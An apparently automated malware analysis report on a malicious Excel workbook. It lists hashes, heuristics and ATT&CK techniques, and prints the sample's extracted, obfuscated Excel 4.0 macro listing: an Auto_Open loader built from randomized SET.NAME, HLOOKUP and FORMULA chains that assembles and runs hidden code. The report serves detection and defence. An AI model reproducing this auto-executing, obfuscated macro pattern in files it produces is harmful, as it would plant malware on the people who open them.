Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c9768c07769d55e6…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:43:11 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: cab69b91d9983859c8f519530ca828ce SHA-1: cc02ab65048e0c176b1252b7ae3cf1e3359b73b5 SHA-256: c9768c07769d55e65f9f5d9d5e97019859d42e25d659f63a3d992587107a8ddf
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 (XLM) macros, specifically an Auto_Open defined name, which is a critical finding indicating automatic execution upon opening. The presence of dangerous formula APIs like RUN further confirms the intent to execute arbitrary code. While the exact payload is not discernible from the provided evidence, the mechanism points to a macro-based execution of a malicious payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6560 bytes
SHA-256: 1dc9017ccad2239afa2de21f97af089e63720455c02992fcbc5b6f10e4775a42
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  plEZDIdM
' 0018     25 LABEL : Cell Value, String Constant - AOOXEbosNd len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G159 
' 0018     24 LABEL : Cell Value, String Constant - bJOyLoPmJ len=0 
' 0018     27 LABEL : Cell Value, String Constant - BPeKUvRPQuLn len=0 
' 0018     23 LABEL : Cell Value, String Constant - dbXUDEOQ len=0 
' 0018     27 LABEL : Cell Value, String Constant - EFpHeWrSyHdA len=0 
' 0018     24 LABEL : Cell Value, String Constant - EKjBJBRUu len=0 
' 0018     27 LABEL : Cell Value, String Constant - IEUKSPUJWVKo len=0 
' 0018     24 LABEL : Cell Value, String Constant - IxYYvflZO len=0 
' 0018     26 LABEL : Cell Value, String Constant - jlxKyeqRWbw len=0 
' 0018     24 LABEL : Cell Value, String Constant - lZlYyqsbc len=0 
' 0018     21 LABEL : Cell Value, String Constant - NdCeKn len=0 
' 0018     26 LABEL : Cell Value, String Constant - OWlbCzSxuXj len=0 
' 0018     20 LABEL : Cell Value, String Constant - PfNxw len=0 
' 0018     23 LABEL : Cell Value, String Constant - TvKRnBHI len=0 
' 0018     23 LABEL : Cell Value, String Constant - urGgPlJV len=0 
' 0018     21 LABEL : Cell Value, String Constant - VBGrvl len=0 
' 0018     20 LABEL : Cell Value, String Constant - VVulT len=0 
' 0018     25 LABEL : Cell Value, String Constant - WtQonIzAUN len=0 
' 0018     21 LABEL : Cell Value, String Constant - xrWqDU len=0 
' 0018     25 LABEL : Cell Value, String Constant - ZjKgwMjhaC len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  plEZDIdM,G62,"SET.NAME("dbXUDEOQ",VALUE("0"))",""
'  plEZDIdM,G64,"SET.NAME("VVulT",dbXUDEOQ)",""
'  plEZDIdM,G68,"SET.NAME("AOOXEbosNd",dbXUDEOQ)",""
'  plEZDIdM,G71,"SET.NAME("urGgPlJV",COUNTA(jlxKyeqRWbw))",""
'  plEZDIdM,G76,"SET.NAME("TvKRnBHI",COUNTA(IxYYvflZO))",""
'  plEZDIdM,G80,[],""
'  plEZDIdM,G83,"SET.NAME("EFpHeWrSyHdA","")",""
'  plEZDIdM,G88,"VVulT",""
'  plEZDIdM,G91,"SET.NAME("xrWqDU",HLOOKUP("*",jlxKyeqRWbw,VVulT,FALSE))",""
'  plEZDIdM,G95,"ZjKgwMjhaC",""
'  plEZDIdM,G98,"SET.NAME("IEUKSPUJWVKo",dbXUDEOQ)",""
'  plEZDIdM,G103,[],""
'  plEZDIdM,G108,"IEUKSPUJWVKo",""
'  plEZDIdM,G111,"lZlYyqsbc",""
'  plEZDIdM,G114,"VBGrvl",""
'  plEZDIdM,G116,"EKjBJBRUu",""
'  plEZDIdM,G120,"SET.NAME("bJOyLoPmJ",VALUE(HLOOKUP("*",IxYYvflZO,EKjBJBRUu,FALSE)))",""
'  plEZDIdM,G125,"WtQonIzAUN",""
'  plEZDIdM,G130,"EFpHeWrSyHdA",""
'  plEZDIdM,G134,"AOOXEbosNd",""
'  plEZDIdM,G137,NEXT(),""
'  plEZDIdM,G142,"PfNxw",""
'  plEZDIdM,G146,"SET.NAME("f",INT(T(FORMULA(T(EFpHeWrSyHdA)&"",""&T(PfNxw)))))",""
'  plEZDIdM,G149,"BPeKUvRPQuLn",""
'  plEZDIdM,G152,NEXT(),""
'  plEZDIdM,G154,RETURN(),""
'  plEZDIdM,G184,"SET.NAME("NdCeKn",G62)",""
'  plEZDIdM,G186,"jlxKyeqRWbw",""
'  plEZDIdM,G189,"SET.NAME("IxYYvflZO",R91C11)",""
'  plEZDIdM,G194,"SET.NAME("BPeKUvRPQuLn",203)",""
'  plEZDIdM,G197,"SET.NAME("OWlbCzSxuXj",7)",""
'  plEZDIdM,G202,NdCeKn(),""
'  plEZDIdM,G203,HALT(),""

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